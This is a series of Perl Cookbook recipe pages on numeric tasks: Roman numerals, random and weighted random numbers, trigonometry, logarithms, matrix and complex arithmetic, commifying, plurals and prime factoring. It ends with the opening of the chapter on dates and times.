The for and foreach operators in perlsyn (1) and the "For Loops" and "Foreach Loops" sections of Chapter 2 of Programming Perl

Previous: 2.4. Converting Between Binary and Decimal | Perl Cookbook | Next: 2.6. Working with Roman Numerals
2.4. Converting Between Binary and Decimal | Book Index | 2.6. Working with Roman Numerals


Recipe 2.6. Working with Roman Numerals

Perl CookbookSearch this book

2.6. Working with Roman Numerals

Problem

You want to convert between regular numbers and Roman numerals. You need to do this with items in outlines, page numbers on a preface, and copyrights for movie credits.

Solution

Use the Roman module from CPAN:

use Roman;
$roman = roman($arabic);                        # convert to roman numerals
$arabic = arabic($roman) if isroman($roman);    # convert from roman numerals

Discussion

The Roman module provides both Roman and roman for converting Arabic ("normal") numbers to their Roman equivalents. Roman produces uppercase letters, whereas roman gives lowercase ones.

The module only deals with Roman numbers from 1 to 3999, inclusive. The Romans didn't represent negative numbers or zero, and 5000 (which 4000 is represented in terms of) uses a symbol outside the ASCII character set.

use Roman;
$roman_fifteen = roman(15);                         # "xv"
print "Roman for fifteen is $roman_fifteen\n";
$arabic_fifteen = arabic($roman_fifteen);
print "Converted back, $roman_fifteen is $arabic_fifteen\n";

Roman for fifteen is xv
Converted back, xv is 15

See Also

The Encyclopaedia Brittanica article on "Mathematics, History Of "; the documentation with the Roman module; Recipe 6.23

Previous: 2.5. Operating on a Series of Integers | Perl Cookbook | Next: 2.7. Generating Random Numbers
2.5. Operating on a Series of Integers | Book Index | 2.7. Generating Random Numbers


Recipe 2.7. Generating Random Numbers

Perl CookbookSearch this book

2.7. Generating Random Numbers

Problem

You want to make random numbers in a given range, inclusive, such as when you randomly pick an array index, simulate rolling a die in a game of chance, or generate a random password.

Solution

Use Perl's rand function.

$random = int( rand( $Y-$X+1 ) ) + $X;

Discussion

This code generates and prints a random integer between 25 and 75, inclusive:

$random = int( rand(51)) + 25;
print "$random\n";

The rand function returns a fractional number, from (and including) 0 up to (but not including) its argument. We give it an argument of 51 to get a number that can be 0 or more, but never 51 or more. We take the integer portion of this to get a number from 0 to 50, inclusive (50.99999.... will be turned to 50 by int). We then add 25 to it, to get a number from 25 to 75, inclusive.

A common application of this is the random selection of an element from an array:

$elt = $array[ rand @array ];

And generating a random password from a sequence of characters:

@chars = ( "A" .. "Z", "a" .. "z", 0 .. 9, qw(! @ $ % ^ & *) );
$password = join("", @chars[ map { rand @chars } ( 1 .. 8 ) ]);

We use map to generate eight random indices into @chars, extract the corresponding characters with a slice, and join them together to form the random password. This isn't a good random number, though, as its security relies on the choice of seed, which is based on the time the program started. See Recipe 2.8 for a way to better seed your random number generator.

See Also

The int, rand, map, and join functions in perlfunc (1) and Chapter 3 of Programming Perl; we explore random numbers further in Recipes Recipe 2.8, Recipe 2.9, and Recipe 2.10; we use random numbers in Recipe 1.9

Previous: 2.6. Working with Roman Numerals | Perl Cookbook | Next: 2.8. Generating Different Random Numbers
2.6. Working with Roman Numerals | Book Index | 2.8. Generating Different Random Numbers


Recipe 2.8. Generating Different Random Numbers

Perl CookbookSearch this book

2.8. Generating Different Random Numbers

Problem

Every time you run your program you get the same set of "random" numbers. You want Perl to produce different random numbers each time. This is important in nearly every application of random numbers, especially games.

Solution

Use Perl's srand function:

srand EXPR;

Discussion

Making random numbers is hard. The best that computers can do, without special hardware, is generate "pseudo-random" numbers, which are evenly distributed in their range of values. These are generated using a mathematical formula, which means that given the same seed (starting point), two programs will produce identical pseudo-random numbers.

The srand function creates a new seed for the pseudo-random number generator. If given an argument, it uses that number as the seed. If no argument is given, srand uses a value that's reasonably difficult to guess as the seed (as of Perl 5.004 or later; before that it just used time, which isn't random at all). Don't call srand more than once in a program.

If you haven't called srand yourself, Perl version 5.004 and later calls srand with a "good" seed the first time you call rand. Earlier versions did not, so the same program always produced the same sequence. If you prefer that behavior, call srand yourself with a particular seed:

srand( <STDIN> );

Just because Perl tries to use a good default seed does not necessarily guarantee that the numbers generated are cryptographically secure against the most intrepid crackers. Textbooks on cryptography are usually good sources of cryptographically secure random number generators.

See Also

The srand function in perlfunc (1); Chapter 3 of Programming Perl; Recipes Recipe 2.7 and Recipe 2.9; Bruce Schneier's excellent Applied Cryptography ; John Wiley & Sons (1995)

Previous: 2.7. Generating Random Numbers | Perl Cookbook | Next: 2.9. Making Numbers Even More Random
2.7. Generating Random Numbers | Book Index | 2.9. Making Numbers Even More Random


Recipe 2.9. Making Numbers Even More Random

Perl CookbookSearch this book

2.9. Making Numbers Even More Random

Problem

You want to generate numbers that are more random than Perl's random numbers. Limitations of your C library's random number generator seeds will sometimes cause problems. The sequence of pseudo-random numbers may repeat too soon for some applications.

Solution

Use a different random number generator, such as those provided by the Math::Random and Math::TrulyRandom modules from CPAN:

use Math::TrulyRandom;
$random = truly_random_value();

use Math::Random;
$random = random_uniform();

Discussion

Perl uses the standard C library routine rand (3) to generate pseudo-random numbers. (This can be changed at build time, however.) Some implementations of the rand function return only 16-bit random numbers or have algorithmic weaknesses and may not be sufficiently random.

The Math::TrulyRandom module uses the inadequacies of your system's timers to generate the random numbers. This takes a while, so it isn't useful for generating a lot of random numbers.

The Math::Random module uses the randlib library to generate random numbers. It also includes a wide range of related functions.

See Also

The srand and rand functions in perlfunc (1) and Chapter 3 of Programming Perl; Recipe 2.7; Recipe 2.8; the documentation for the CPAN modules Math::Random and Math::TrulyRandom

Previous: 2.8. Generating Different Random Numbers | Perl Cookbook | Next: 2.10. Generating Biased Random Numbers
2.8. Generating Different Random Numbers | Book Index | 2.10. Generating Biased Random Numbers


Recipe 2.10. Generating Biased Random Numbers

Perl CookbookSearch this book

2.10. Generating Biased Random Numbers

Problem

You want to pick a random value where the probabilities of the values are not equal (the distribution is not even). You might be trying to randomly select a banner to display on a web page, given a set of relative weights saying how often each banner is to be displayed. Alternatively, you might want to simulate behavior according to a normal distribution (the bell curve).

Solution

If you want a random value distributed according to a specific function - e.g., the Gaussian (Normal) distribution - consult a statistics textbook to find the appropriate function or algorithm. This subroutine generates random numbers that are normally distributed, with a standard deviation of 1 and a mean of 0.

sub gaussian_rand {
    my ($u1, $u2);  # uniformly distributed random numbers
    my $w;          # variance, then a weight
    my ($g1, $g2);  # gaussian-distributed numbers

    do {
        $u1 = 2 * rand() - 1;
        $u2 = 2 * rand() - 1;
        $w = $u1*$u1 + $u2*$u2;
    } while ( $w >= 1 );

    $w = sqrt( (-2 * log($w))  / $w );
    $g2 = $u1 * $w;
    $g1 = $u2 * $w;
    # return both if wanted, else just one
    return wantarray ? ($g1, $g2) : $g1;
}

If you have a list of weights and values you want to randomly pick from, follow this two-step process: First, turn the weights into a probability distribution with weight_to_dist below, and then use the distribution to randomly pick a value with weighted_rand:

# weight_to_dist: takes a hash mapping key to weight and returns
# a hash mapping key to probability
sub weight_to_dist {
    my %weights = @_;
    my %dist    = ();
    my $total   = 0;
    my ($key, $weight);
    local $_;

    foreach (values %weights) {
        $total += $_;
    }

    while ( ($key, $weight) = each %weights ) {
        $dist{$key} = $weight/$total;
    }

    return %dist;
}

# weighted_rand: takes a hash mapping key to probability, and
# returns the corresponding element
sub weighted_rand {
    my %dist = @_;
    my ($key, $weight);

    while (1) {                     # to avoid floating point inaccuracies
        my $rand = rand;
        while ( ($key, $weight) = each %dist ) {
            return $key if ($rand -= $weight) < 0;
        }
    }
}

Discussion

The gaussian_rand function implements the polar Box Muller method for turning two independent uniformly distributed random numbers between 0 and 1 (such as rand returns) into two numbers with a mean of 0 and a standard deviation of 1 (i.e., a Gaussian distribution). To generate numbers with a different mean and standard deviation, multiply the output of gaussian_rand by the new standard deviation, and then add the new mean:

# gaussian_rand as above
$mean = 25;
$sdev = 2;
$salary = gaussian_rand() * $sdev + $mean;
printf("You have been hired at \$%.2f\n", $salary);

The weighted_rand function picks a random number between 0 and 1. It then uses the probabilities generated by weight_to_dist to see which element the random number corresponds to. Because of the vagaries of floating-point representation, the accumulated errors of representation might mean we don't find an element to return. This is why we wrap the code in a while to pick a new random number and try again.

In addition, the CPAN module Math::Random has functions to return random numbers from a variety of distributions.

See Also

The rand function in perlfunc (1) and Chapter 3 of Programming Perl; Recipe 2.7; the documentation for the CPAN module Math::Random

Previous: 2.9. Making Numbers Even More Random | Perl Cookbook | Next: 2.11. Doing Trigonometry in Degrees, not Radians
2.9. Making Numbers Even More Random | Book Index | 2.11. Doing Trigonometry in Degrees, not Radians


Recipe 2.11. Doing Trigonometry in Degrees, not Radians

Perl CookbookSearch this book

2.11. Doing Trigonometry in Degrees, not Radians

Problem

You want your trigonometry routines to operate in degrees instead of Perl's native radians.

Solution

Convert between radians and degrees (2 [pi] radians equals 360 degrees).

BEGIN {
    use constant PI => 3.14159265358979;

    sub deg2rad {
        my $degrees = shift;
        return ($degrees / 180) * PI;
    }

    sub rad2deg {
        my $radians = shift;
        return ($radians / PI) * 180;
    }
}

Alternatively, use the Math::Trig module.

use Math::Trig;

$radians = deg2rad($degrees);
$degrees = rad2deg($radians);

Discussion

If you're doing a lot of trigonometry, look into using either the standard Math::Trig or POSIX modules. They provide many more trigonometric functions than are defined in the Perl core. Otherwise, the first solution above will define the rad2deg and deg2rad functions. The value of [pi] isn't built directly into Perl, but you can calculate it to as much precision as your floating-point hardware provides. If you put it in a BEGIN block, this is done at compile time. In the solution above, the PI function is a constant created with use constant.

If you're looking for the sine in degrees, use this:

# deg2rad and rad2deg defined either as above or from Math::Trig
sub degree_sine {
    my $degrees = shift;
    my $radians = deg2rad($degrees);
    my $result = sin($radians);

    return $result;
}

See Also

The sin, cos, and atan2 functions in perlfunc (1) and Chapter 3 of Programming Perl; the documentation for the standard POSIX and Math::Trig modules (also in Chapter 7 of Programming Perl)

Previous: 2.10. Generating Biased Random Numbers | Perl Cookbook | Next: 2.12. Calculating More Trigonometric Functions
2.10. Generating Biased Random Numbers | Book Index | 2.12. Calculating More Trigonometric Functions


Recipe 2.12. Calculating More Trigonometric Functions

Perl CookbookSearch this book

2.12. Calculating More Trigonometric Functions

Problem

You want to calculate values for trigonometric functions like sine, tangent, or arc-cosine.

Solution

Perl provides only sin, cos, and atan2 as standard functions. From these, you can derive tan and the other trig functions:

sub tan {
    my $theta = shift;

    return sin($theta)/cos($theta);
}

The POSIX module provides a wider range of trig functions:

use POSIX;

$y = acos(3.7);

The Math::Trig module provides a complete set of functions and supports operations on or resulting in complex numbers:

use Math::Trig;

$y = acos(3.7);

Discussion

The tan function will cause a division-by-zero exception when $theta is [image], [image], and so on, because the cosine is 0 for these values. Similarly, tan and many other functions from Math::Trig may generate the same error. To trap these, use eval:

eval {
    $y = tan($pi/2);
} or return undef;

See Also

The sin, cos, and atan2 functions in perlfunc (1) and Chapter 3 of Programming Perl; we talk about trigonometry in the context of imaginary numbers in Recipe 2.15; we talk about the use of eval to catch exceptions in Recipe 10.12

Previous: 2.11. Doing Trigonometry in Degrees, not Radians | Perl Cookbook | Next: 2.13. Taking Logarithms
2.11. Doing Trigonometry in Degrees, not Radians | Book Index | 2.13. Taking Logarithms


Recipe 2.13. Taking Logarithms

Perl CookbookSearch this book

2.13. Taking Logarithms

Problem

You want to take a logarithm in various bases.

Solution

For logarithms to base e, use the built-in log:

$log_e = log(VALUE);

For logarithms to base 10, use the POSIX module's log10 function:

use POSIX qw(log10);
$log_10 = log10(VALUE);

For other bases, use the mathematical identity:

where x is the number whose logarithm you want, n is the desired base, and e is the natural logarithm base.

sub log_base {
    my ($base, $value) = @_;
    return log($value)/log($base);
}

Discussion

The log_base function lets you take logarithms to any base. If you know the base you'll want in advance, it's more efficient to cache the log of the base instead of recalculating it every time.

# log_base defined as above
$answer = log_base(10, 10_000);
print "log10(10,000) = $answer\n";
log10(10,000) = 4

The Math::Complex module does the caching for you via its logn() routine, so you can write:

use Math::Complex;
printf "log2(1024) = %lf\n", logn(1024, 2); # watch out for argument order!
log2(1024) = 10.000000

even though no complex number is involved here. This is not very efficient, but there are plans to rewrite Math::Complex in C for speed.

See Also

The log function in perlfunc (1) and Chapter 3 of Programming Perl; the documentation for the standard POSIX module (also in Chapter 7 of Programming Perl)

Previous: 2.12. Calculating More Trigonometric Functions | Perl Cookbook | Next: 2.14. Multiplying Matrices
2.12. Calculating More Trigonometric Functions | Book Index | 2.14. Multiplying Matrices


Recipe 2.14. Multiplying Matrices

Perl CookbookSearch this book

2.14. Multiplying Matrices

Problem

You want to multiply a pair of two-dimensional arrays. Mathematicians and engineers often need this.

Solution

Use the PDL modules, available from CPAN. PDL is the Perl Data Language - modules that give fast access to compact matrix and mathematical functions:

use PDL;
# $a and $b are both pdl objects
$c = $a * $b;

Alternatively, apply the matrix multiplication algorithm to your two-dimensional array:

sub mmult {
    my ($m1,$m2) = @_;
    my ($m1rows,$m1cols) = matdim($m1);
    my ($m2rows,$m2cols) = matdim($m2);

    unless ($m1cols == $m2rows) {  # raise exception
        die "IndexError: matrices don't match: $m1cols != $m2rows";
    }

    my $result = [];
    my ($i, $j, $k);

    for $i (range($m1rows)) {
        for $j (range($m2cols)) {
            for $k (range($m1cols)) {
                $result->[$i][$j] += $m1->[$i][$k] * $m2->[$k][$j];
            }
        }
    }
    return $result;
}

sub range { 0 .. ($_[0] - 1) }

sub veclen {
    my $ary_ref = $_[0];
    my $type = ref $ary_ref;
    if ($type ne "ARRAY") { die "$type is bad array ref for $ary_ref" }
    return scalar(@$ary_ref);
}

sub matdim {
    my $matrix = $_[0];
    my $rows = veclen($matrix);
    my $cols = veclen($matrix->[0]);
    return ($rows, $cols);
}

Discussion

If you have the PDL library installed, you can make use of its lightning-fast manipulation of numbers. This requires far less memory and CPU than Perl's array manipulation. When using PDL objects, many numeric operators (such as + and *) are overloaded and work on an element-by-element basis (e.g., * is the so-called scalar multiplication operator). To get true matrix multiplication, use the overloaded x operator.

use PDL;

$a = pdl [
    [ 3, 2, 3 ],
    [ 5, 9, 8 ],
];

$b = pdl [
    [ 4, 7 ],
    [ 9, 3 ],
    [ 8, 1 ],
];

$c = $a x $b;  # x overload

If you don't have the PDL library, or don't feel like pulling it in for a small problem, you can always do the work yourself the good old-fashioned way.

# mmult() and other subroutines as above

$x = [
       [ 3, 2, 3 ],
       [ 5, 9, 8 ],
];

$y = [
       [ 4, 7 ],
       [ 9, 3 ],
       [ 8, 1 ],
];

$z = mmult($x, $y);

See Also

The documentation with the CPAN module PDL

Previous: 2.13. Taking Logarithms | Perl Cookbook | Next: 2.15. Using Complex Numbers
2.13. Taking Logarithms | Book Index | 2.15. Using Complex Numbers


Recipe 2.15. Using Complex Numbers

Perl CookbookSearch this book

2.15. Using Complex Numbers

Problem

Your application must manipulate complex numbers, as are often needed in engineering, science, and mathematics.

Solution

Either keep track of the real and imaginary components yourself, or use the Math::Complex class (part of the standard Perl distribution).

Manually

# $c = $a * $b manually
$c_real = ( $a_real * $b_real ) - ( $a_imaginary * $b_imaginary );
$c_imaginary = ( $a_real * $b_imaginary ) + ( $b_real * $a_imaginary );

Math::Complex

# $c = $a * $b using Math::Complex
use Math::Complex;
$c = $a * $b;

Discussion

Here's how you'd manually multiply 3+5i and 2-2i:

$a_real = 3; $a_imaginary = 5;              # 3 + 5i;
$b_real = 2; $b_imaginary = -2;             # 2 - 2i;
$c_real = ( $a_real * $b_real ) - ( $a_imaginary * $b_imaginary );
$c_imaginary = ( $a_real * $b_imaginary ) + ( $b_real * $a_imaginary );
print "c = ${c_real}+${c_imaginary}i\n";

c = 16+4i

and with Math::Complex:

use Math::Complex;
$a = Math::Complex->new(3,5);               # or Math::Complex->new(3,5);
$b = Math::Complex->new(2,-2);
$c = $a * $b;
print "c = $c\n";

c = 16+4i

With the 5.004 version, you may create complex numbers via the cplx constructor or via the exported constant i :

use Math::Complex;
$c = cplx(3,5) * cplx(2,-2);                # easier on the eye
$d = 3 + 4*i;                               # 3 + 4i
printf "sqrt($d) = %s\n", sqrt($d);

sqrt(3+4i) = 2+i

The original Math::Complex module distributed with 5.003 did not overload as many functions and operators as the 5.004 version does. Also, the Math::Trig module (new as of 5.004) uses the Math::Complex module internally because some functions can break out from the real axis into the complex plane - for example, the inverse sine of 2.

See Also

The documentation for the standard Math::Complex module (also in Chapter 7 of Programming Perl)

Previous: 2.14. Multiplying Matrices | Perl Cookbook | Next: 2.16. Converting Between Octal and Hexadecimal
2.14. Multiplying Matrices | Book Index | 2.16. Converting Between Octal and Hexadecimal


Recipe 2.16. Converting Between Octal and Hexadecimal

Perl CookbookSearch this book

2.16. Converting Between Octal and Hexadecimal

Problem

You want to convert a string (e.g., "0x55" or "0755") containing an octal or hexadecimal number to the correct number.

Perl only understands octal and hexadecimal numbers when they occur as literals in your programs. If they are obtained by reading from files or supplied as command-line arguments, no automatic conversion takes place.

Solution

Use Perl's oct and hex functions:

$number = hex($hexadecimal);         # hexadecimal
$number = oct($octal);               # octal

Discussion

The oct function converts octal numbers with or without the leading "0": "0350" or "350". In fact, it even converts hexadecimal ("0x350") numbers if they have a leading "0x". The hex function only converts hexadecimal numbers, with or without a leading "0x": "0x255", "3A", "ff", or "deadbeef". (Letters may be in upper- or lowercase.)

Here's an example that accepts a number in either decimal, octal, or hex, and prints that number in all three bases. It uses the oct function to convert from octal and hexadecimal if the input began with a 0. It then uses printf to convert back into hex, octal, and decimal as needed.

print "Gimme a number in decimal, octal, or hex: ";
$num = <STDIN>;
chomp $num;
exit unless defined $num;
$num = oct($num) if $num =~ /^0/; # does both oct and hex
printf "%d %x %o\n", $num, $num, $num;

The following code converts Unix file permissions. They're always given in octal, so we use oct instead of hex.

print "Enter file permission in octal: ";
$permissions = <STDIN>;
die "Exiting ...\n" unless defined $permissions;
chomp $permissions;
$permissions = oct($permissions);   # permissions always octal
print "The decimal value is $permissions\n";

See Also

The "Scalar Value Constructors" section in perldata (1) and the "Numeric Literals" section of Chapter 2 of Programming Perl; the oct and hex functions in perlfunc (1) and Chapter 3 of Programming Perl.

Previous: 2.15. Using Complex Numbers | Perl Cookbook | Next: 2.17. Putting Commas in Numbers
2.15. Using Complex Numbers | Book Index | 2.17. Putting Commas in Numbers


Recipe 2.17. Putting Commas in Numbers

Perl CookbookSearch this book

2.17. Putting Commas in Numbers

Problem

You want to output a number with commas in the right place. People like to see long numbers broken up in this way, especially in reports.

Solution

Reverse the string so you can use backtracking to avoid substitution in the fractional part of the number. Then use a regular expression to find where you need commas, and substitute them in. Finally, reverse the string back.

sub commify {
    my $text = reverse $_[0];
    $text =~ s/(\d\d\d)(?=\d)(?!\d*\.)/$1,/g;
    return scalar reverse $text;
}

Discussion

It's a lot easier in regular expressions to work from the front than from the back. With this in mind, we reverse the string and make a minor change to the algorithm that repeatedly inserts commas three digits from the end. When all insertions are done, we reverse the final string and return it. Because reverse is sensitive to its implicit return context, we force it to scalar context.

This function can be easily adjusted to accommodate the use of periods instead of commas, as are used in some countries.

Here's an example of commify in action:

# more reasonable web counter :-)
use Math::TrulyRandom;
$hits = truly_random_value();       # negative hits!
$output = "Your web page received $hits accesses last month.\n";
print commify($output);
Your web page received -1,740,525,205 accesses last month.

See Also

perllocale (1); the reverse function in perlfunc (1) and Chapter 3 of Programming Perl; the section "Adding Commas to a Number" in Chapter 7 of Mastering Regular Expressions

Previous: 2.16. Converting Between Octal and Hexadecimal | Perl Cookbook | Next: 2.18. Printing Correct Plurals
2.16. Converting Between Octal and Hexadecimal | Book Index | 2.18. Printing Correct Plurals


Recipe 2.18. Printing Correct Plurals

Perl CookbookSearch this book

2.18. Printing Correct Plurals

Problem

You're printing something like "It took $time hours", but "It took 1 hours" is ungrammatical. You would like to get it right.

Solution

Use printf and a ternary conditional (X ? Y : Z) to alter the noun or verb:

printf "It took %d hour%s\n", $time, $time == 1 ? "" : "s";

printf "%d hour%s %s enough.\n", $time,
        $time == 1 ? ""   : "s",
        $time == 1 ? "is" : "are";

Or, use the Lingua::EN::Inflect module from CPAN as described in the Discussion.

Discussion

The only reason inane messages like "1 file(s) updated" appear is because their authors are too lazy to bother checking whether the count is 1 or not.

If your noun changes by more than an "-s", you'll need to change the printf accordingly:

printf "It took %d centur%s", $time, $time == 1 ? "y" : "ies";

This is good for simple cases, but you'll get tired of writing it. This leads you to write funny functions like this:

sub noun_plural {
    local $_ = shift;
    # order really matters here!
    s/ss$/sses/                             ||
    s/([psc]h)$/${1}es/                     ||
    s/z$/zes/                               ||
    s/ff$/ffs/                              ||
    s/f$/ves/                               ||
    s/ey$/eys/                              ||
    s/y$/ies/                               ||
    s/ix$/ices/                             ||
    s/([sx])$/$1es/                         ||
    s/$/s/                                  ||
                die "can't get here";
    return $_;
}
*verb_singular = \&noun_plural;   # make function alias

As you find more exceptions, your function will become increasingly convoluted. When you need to handle such morphological changes, turn to the flexible solution provided by the Lingua::EN::Inflect module from CPAN.

use Lingua::EN::Inflect qw(PL classical);
classical(1);               # why isn't this the default?
while (<DATA>) {            # each line in the data
    for (split) {           # each word on the line
        print "One $_, two ", PL($_), ".\n";
    }
}
# plus one more
$_ = 'secretary general';
print "One $_, two ", PL($_), ".\n";

__END__
fish fly ox
species genus phylum
cherub radius jockey
index matrix mythos
phenomenon formula

That produces the following:

One fish, two fish.
One fly, two flies.
One ox, two oxen.
One species, two species.
One genus, two genera.
One phylum, two phyla.
One cherub, two cherubim.
One radius, two radii.
One jockey, two jockeys.
One index, two indices.
One matrix, two matrices.
One mythos, two mythoi.
One phenomenon, two phenomena.
One formula, two formulae.
One secretary general, two secretaries general.

This is one of the many things the module can do. It also handles inflections or conjugations for other parts of speech, provides number-insensitive comparison functions, figures out whether to use a or an, and plenty more.

See Also

The ternary ("hook-colon") operator discussed in perlop (1) and in the "Conditional Operator" section of Chapter 2 of Programming Perl; the documentation with the CPAN module Lingua::EN::Inflect

Previous: 2.17. Putting Commas in Numbers | Perl Cookbook | Next: 2.19. Program: Calculating Prime Factors
2.17. Putting Commas in Numbers | Book Index | 2.19. Program: Calculating Prime Factors


Recipe 2.19. Program: Calculating Prime Factors

Perl CookbookSearch this book

2.19. Program: Calculating Prime Factors

The following program takes one or more integer arguments and determines the prime factors. It uses Perl's native numeric representation unless those numbers use floating-point representation and thus lose accuracy. Otherwise (or if the program's -b switch is used), it uses the standard Math::BigInt library, thus allowing for huge numbers. However, it only loads this library if necessary. That's why we use require and import instead of use, which would unconditionally load the library at compile time instead of conditionally at run time.

This is not an efficient way to crack the huge integers used for cryptographic purposes.

Call the program with a list of numbers, and it will show you the prime factors of those numbers:

% bigfact 8 9 96 2178
8          2**3
9          3**2
96         2**5 3
2178       2 3**2 11**2

You can give it very large numbers:

% bigfact 239322000000000000000000
+239322000000000000000000 2**19 3 5**18 +39887

% bigfact 25000000000000000000000000
+25000000000000000000000000 2**24 5**26

The program is shown in Example 2.1.

Example 2.1: bigfact

#!/usr/bin/perl
# bigfact - calculate prime factors
use strict;
use integer;

use vars qw{ $opt_b $opt_d };
use Getopt::Std;

@ARGV && getopts('bd')        or die "usage: $0 [-b] number ...";

load_biglib() if $opt_b;

ARG: foreach my $orig ( @ARGV ) {
    my ($n, %factors, $factor);
    $n = $opt_b ? Math::BigInt->new($orig) : $orig;
    if ($n + 0 ne $n) { # don't use -w for this
        printf STDERR "bigfact: %s would become %s\n", $n, $n+0 if $opt_d;
        load_biglib();
        $n = Math::BigInt->new($orig);
    }
    printf "%-10s ", $n;

    # Here $sqi will be the square of $i. We will take advantage
    # of the fact that ($i + 1) ** 2 == $i ** 2 + 2 * $i + 1.
    for (my ($i, $sqi) = (2, 4); $sqi <= $n; $sqi += 2 * $i ++ + 1) {
        while ($n % $i == 0) {
            $n /= $i;
            print STDERR "<$i>" if $opt_d;
            $factors {$i} ++;
        }
    }

    if ($n != 1 && $n != $orig) { $factors{$n}++ }
    if (! %factors) {
        print "PRIME\n";
        next ARG;
    }
    for $factor ( sort { $a <=> $b } keys %factors ) {
        print "$factor";
        if ($factors{$factor} > 1) {
            print "**$factors{$factor}";
        }
        print " ";
    }
    print "\n";
}

# this simulates a use, but at run time
sub load_biglib {
    require Math::BigInt;
    Math::BigInt->import();          #immaterial?
}

Previous: 2.18. Printing Correct Plurals | Perl Cookbook | Next: 3. Dates and Times
2.18. Printing Correct Plurals | Book Index | 3. Dates and Times


[Chapter 3] Dates and Times

Perl CookbookSearch this book
Previous: 2.19. Program: Calculating Prime Factors Chapter 3 Next: 3.1. Finding Today's Date

3. Dates and Times

Contents:
Introduction
Finding Today's Date
Converting DMYHMS to Epoch Seconds
Converting Epoch Seconds to DMYHMS
Adding to or Subtracting from a Date
Difference of Two Dates
Day in a Week/Month/Year or Week Number
Parsing Dates and Times from Strings
Printing a Date
High-Resolution Timers
Short Sleeps
Program: hopdelta

It is inappropriate to require that a time represented as seconds since the Epoch precisely represent the number of seconds between the referenced time and the Epoch.

- IEEE Std 1003.1b-1993 (POSIX) Section B.2.2.2

3.0. Introduction

Times and dates are important things to be able to manipulate. "How many users logged in last month?", "How many seconds should I sleep, if I want to wake up at midday?", and "Has this user's password expired yet?" are all common questions whose answers involve surprisingly non-obvious manipulations.

Perl represents points in time as intervals, measuring seconds past a point in time called the Epoch. On Unix and many other systems, the Epoch was 00:00 Jan 1, 1970, Greenwich Mean Time (GMT).[1] On a Mac, all dates and times are expressed in the local time zone. The gmtime function returns the correct GMT time, based on your Mac's time zone offset. Bear this in mind when considering the recipes in this chapter. The Macintosh's Epoch seconds value ranges from 00:00 Jan 1, 1904 to 06:28:15 Feb 6, 2040.

[1] These days GMT is increasingly referred to as UTC (Universal Coordinated Time).

When we talk about dates and times, we often interchange two different concepts: points in time (dates and times) and intervals between points in time (weeks, months, days, etc.). Epoch seconds represent intervals and points in the same units, so you can do basic arithmetic on them.

However, people are not used to working with Epoch seconds. We are more used to dealing with individual year, month, day, hour, minute, and second values. Furthermore, the month can be represented by its full name or its abbreviation. The day can precede or follow the month. Because of the difficulty of performing calculations with a variety of formats, we typically convert human-supplied strings or lists to Epoch seconds, calculate, and then convert back to strings or lists for output.

For convenience in calculation, Epoch seconds are always calculated in GMT. When converting to or from distinct values, we must always consider whether the time represented is GMT or local. Use different conversion functions depending on whether you need to convert from GMT to local time or vice versa.

Perl's time function returns the number of seconds that have passed since the Epoch - more or less.[2] To convert Epoch seconds into distinct values for days, months, years, hours, minutes, and seconds, use the localtime and gmtime functions. In list context, these functions return a nine-element list with the following elements:

[2] Well, less actually. To be precise, 21 seconds less as of this writing. POSIX requires that time not include leap seconds, a peculiar practice of adjusting the world's clock by a second here and there to account for the slowing down of the Earth's rotation due to tidal angular-momentum dissipation. See the sci.astro FAQ, section 3, in http://sciastro.astronomy.net/sci.astro.3.FAQ.

Variable

Values

Range

$sec

seconds

0-60

$min

minutes

0-59

$hours

hours

0-23

$mday

day of month

1-31

$month

month of year

0-11, 0 == January

$year

years since 1900

1-138 (or more)

$wday

day of week

0-6, 0 == Sunday

$yday

day of year

1-366

$isdst

0 or 1

true if daylight savings is in effect

The values for second range from 0-60 to account for leap seconds; you never know when a spare second will leap into existence at the urging of various standards bodies.

From now on, we'll refer to a list of day, month, year, hour, minute, and seconds as DMYHMS, for no better reason than that writing and reading "distinct day, month, year, hour, minute, and seconds values" is wearisome. The abbreviation is not meant to suggest an order of return values.

Perl does not return a two-digit year value. It returns the year minus 1900, which just happens to be a two-digit number through 1999. Perl doesn't intrinsically have a Year 2000 problem, unless you make one yourself. (Your computer, and Perl, may have a 2038 problem, though, if we're still using 32 bits by that time.) Add 1900 to get the full year value instead of using the construct "19$year", or soon your programs will refer to the year "19102". We can't pin down the year value's range because it depends on how big an integer your operating system uses for Epoch seconds. Small integers mean a small range; big (64-bit) integers mean a very big range.

In scalar context, localtime and gmtime return the date and time formatted as an ASCII string:

Fri Apr 11 09:27:08 1997

The standard Time::tm module provides objects that give you a named interface to these values. The standard Time::localtime and Time::gmtime modules override the list-returning localtime and gmtime functions, replacing them with versions that return Time::tm objects. Compare these two pieces of code:

# using arrays
print "Today is day ", (localtime)[7], " of the current year.\n";
Today is day 117 of the current year.

# using Time::tm objects
use Time::localtime;
$tm = localtime;
print "Today is day ", $tm->yday, " of the current year.\n";
Today is day 117 of the current year.

To go from a list to Epoch seconds, use the standard Time::Local module. It provides the functions timelocal and timegm, both of which take a nine-element list and return an integer. The list's values have the same meaning and ranges as those returned by localtime and gmtime.

Epoch seconds values are limited by the size of an integer. If you have a 32-bit signed integer holding your Epoch seconds, you can only represent dates (in GMT) from Fri Dec 13 20:45:52 1901 to Tue Jan 19 03:14:07 2038 (inclusive). By 2038, it is assumed, computers will change to use larger integers for Epoch seconds. We hope. For operations on dates outside this range, you must use another representation or work from distinct year, month, and day values.

The Date::Calc and Date::Manip modules on CPAN both work from these distinct values, but be warned: years don't necessarily have 1900 subtracted from them the way the year value returned by localtime does, nor do months and weeks always start at 0. As always, consult the manpage of the appropriate module to make sure you're giving it what it expects and getting back from it what you expect. There's little more embarrassing than realizing you've calculated your company payroll based on a calendar that's 1,900 years in the past.

Previous: 2.19. Program: Calculating Prime Factors | Perl Cookbook | Next: 3.1. Finding Today's Date
2.19. Program: Calculating Prime Factors | Book Index | 3.1. Finding Today's Date


Recipe 3.1. Finding Today's Date

Perl CookbookSearch this book

3.1. Finding Today's Date

Problem

You need to find the year, month, and day values for today's date.

Solution

Use localtime, which returns values for the current date and time if given no arguments. You can either use localtime and extract the information you want from the list it returns:

($DAY, $MONTH, $YEAR) = (localtime)[3,4,5];

Or, use Time::localtime, which overrides localtime to return a Time::tm object:

use Time::localtime;
$tm = localtime;
($DAY, $MONTH, $YEAR) = ($tm->mday, $tm->mon, $tm->year);

Discussion

Here's how you'd print the current date as "YYYY-MM-DD," using the non-overridden localtime:

($day, $month, $year) = (localtime)[3,4,5];
printf("The current date is %04d %02d %02d\n", $year+1900, $month+1, $day);
The current date is 1998 04 28

To extract the fields we want from the list returned by localtime, we take a list slice. We could also have written it as:

($day, $month, $year) = (localtime)[3..5];

